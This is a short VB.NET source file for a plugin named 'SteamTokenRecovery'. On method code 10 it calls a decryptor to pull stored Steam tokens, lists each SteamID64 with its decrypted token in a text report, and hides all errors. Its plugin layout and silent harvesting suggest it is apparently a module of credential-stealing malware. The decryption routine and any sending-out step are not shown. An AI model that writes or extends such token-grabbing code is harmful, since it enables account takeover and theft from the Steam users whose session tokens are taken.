Namespace SteamTokenRecovery
    Public Class Plugin
        Public Shared Function RunRecovery(Method As Integer) As String
            Try
                Select Case Method
                    Case 10
                        Dim decryptedSteamTokens As Dictionary(Of String, String) = SteamTokenDecryptor.GetDecryptedSteamTokens()
                        If decryptedSteamTokens Is Nothing OrElse decryptedSteamTokens.Count = 0 Then
                            Return Nothing
                        End If

                        Dim result As New Text.StringBuilder()
                        result.AppendLine("Steam tokens found:")

                        For Each kvp As KeyValuePair(Of String, String) In decryptedSteamTokens
                            result.AppendLine("SteamID64: " & kvp.Key)
                            result.AppendLine("Token: " & kvp.Value)
                            result.AppendLine(New String("-"c, 40))
                        Next

                        Return result.ToString()
                End Select
            Catch
                Return Nothing
            End Try

            Return Nothing
        End Function
    End Class
End Namespace